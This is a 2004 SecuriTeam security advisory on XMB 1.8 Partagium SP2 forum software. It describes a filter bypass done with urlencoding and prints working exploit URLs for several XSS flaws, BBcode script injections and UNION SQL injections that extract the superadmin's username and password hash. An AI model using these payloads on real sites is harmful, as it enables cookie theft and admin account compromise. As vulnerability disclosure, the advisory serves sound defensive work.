[UNIX] Multiple Vulnerabilities in XMB Partagium
From: SecuriTeam (support_at_securiteam.com)
Date: 02/26/04
- Previous message: SecuriTeam: "[NT] Trillian Remote Buffer Overflows (DirectIM, Parser)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 26 Feb 2004 11:39:34 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Multiple Vulnerabilities in XMB Partagium
------------------------------------------------------------------------
SUMMARY
<http://www.xmbforum.com/home/> Extreme Messageboard aka XMB is "a very
popular and feature rich forum, based on PHP and MySQL". Multiple
vulnerabilities in the product have been found, they allow attackers to
cause SQL Injection vulnerabilities and Cross Site Scripting issues.
DETAILS
Vulnerable Systems:
* XMB version 1.8 Partagium Final SP2
Immune Systems:
* XMB version 1.8 Partagium Final SP3
Security Filter Bypassing:
The security filter in header.php line 110 can be bypassed, if we
partially or fully urlencode the critical parts in URI. Thanks to this
vulnerability possible XSS holes can be easily exploited by GET request.
Original code:
// Checks for various variables in the URL, if any of them is found,
script is halted
$url2 = str_replace("subscriptions","",$url);
$url_check = Array('status', 'xmbuser',
'xmbpw','script','javascript');
foreach ($url_check as $name) {
if (eregi($name, $url2)){
exit();
}
}
Example:
http://localhost/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript>
Multiple XSS:
As a result of the above security filter bypassing the following cross
site scripting vulnerabilities exist:
Exploit:
http://localhost/xmb18sp2/member.php?action=viewpro&member=x
<%73cript>alert(document.cookie);</%73cript>
http://localhost/xmb18sp2/u2uadmin.php?uid=x
"><%73cript>alert(document.cookie);</%73cript>
http://localhost/xmb18sp2/editprofile.php?user=x
"><%73cript>alert(document.cookie);</%73cript>
BBcode "[align=xxx][/align]" script injection vulnerability:
Exploit:
text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]
This can be used everywhere, where bbcode is allowed - in profile's
signature, u2u and in forum threads. Scripting will be triggered on
mouseover event and will work with most browsers.
BBcode "[img=1x1][/img]" script injection vulnerability:
Exploit:
text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2
Ending "//gif" is needed for successful exploit, because bbcode
implementation will check for it.
This can be used everywhere, where bbcode is allowed - in profile's
signature, u2u and in forum threads. Scripting will be triggered
automatically, but exploit will work only with Microsoft Internet
Explorer.
NOTE: The following SQL injections only injection after the "ORDER BY"
keywords in SQL query, therefore UNION method will not work, making the
only viable thing to do with the vulnerability is an XSS attack.
XSS due to SQL Injections:
Exploits:
http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x
<%73cript>alert(document.cookie);</%73cript>
http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x
<%73cript>alert(document.cookie);</%73cript>
http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x
<%73cript>alert(document.cookie);</%73cript>
http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x
<%73cript>alert(document.cookie);</%73cript>
SQL Injection:
The following SQL injection allows retrieving the username of the
superadmin:
Exploit:
http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION
ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1 LIMIT 1/*
The following SQL injection allows retrieving the password's md5 hash for
superadmin:
Exploit:
http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION
ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1 LIMIT 1/*
Vendor status:
The vendor has issued a patch, see
<http://www.xmbforum.com/community/boards/viewthread.php?tid=746859>
http://www.xmbforum.com/community/boards/viewthread.php?tid=746859.
ADDITIONAL INFORMATION
The information has been provided by <mailto:come2waraxe@yahoo.com> Janek
Vind.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Trillian Remote Buffer Overflows (DirectIM, Parser)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|